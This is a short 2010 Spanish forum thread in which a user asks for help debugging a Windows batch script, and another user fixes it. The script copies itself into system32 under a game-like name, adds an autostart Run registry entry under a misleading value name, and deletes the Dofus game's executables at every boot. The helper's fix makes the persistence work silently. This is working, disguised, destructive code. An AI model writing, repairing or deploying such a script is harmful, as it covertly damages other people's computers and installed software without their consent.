Problemas batch registro

Iniciado por _, 25 Julio 2010, 13:30 PM

0 Miembros y 2 Visitantes están viendo este tema.

_

Veréis, estoy creando un batch sencillo que elimina un juego cada vez que se ejecuta Windows. Os dejo el código:
Citar
@echo off
copy superjuego.bat C:\WINDOWS\system32
cd C:\WINDOWS\system32
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"
cd C:\Archivos de programa\Dofus
del uplauncher.exe
cd C:\Archivos de programa\Dofus 2\app
del uplauncher.exe
del dofus.exe
pause > nul
El problema es que cuando se ejecuta más de una vez, se vuelve a copiar al registro y se pausa para pedir confirmación para sobrescribirlo. He probado con la variable if not exist pero no he conseguido solucionarlo. ¿Qué es lo que falla?
Gracias de antemano.

maxx93

Proba cambiandole esta parte del code
Cita de: ivansc94 en 25 Julio 2010, 13:30 PM
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"

por esto...

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat" /f


Si queres alivianar un poco el code borrale esto
Cita de: ivansc94 en 25 Julio 2010, 13:30 PM
cd C:\WINDOWS\system32

Salu2.

_

Vale, ya me funciona correctamente, la verdad es que era un error muy tonto. Muchas gracias.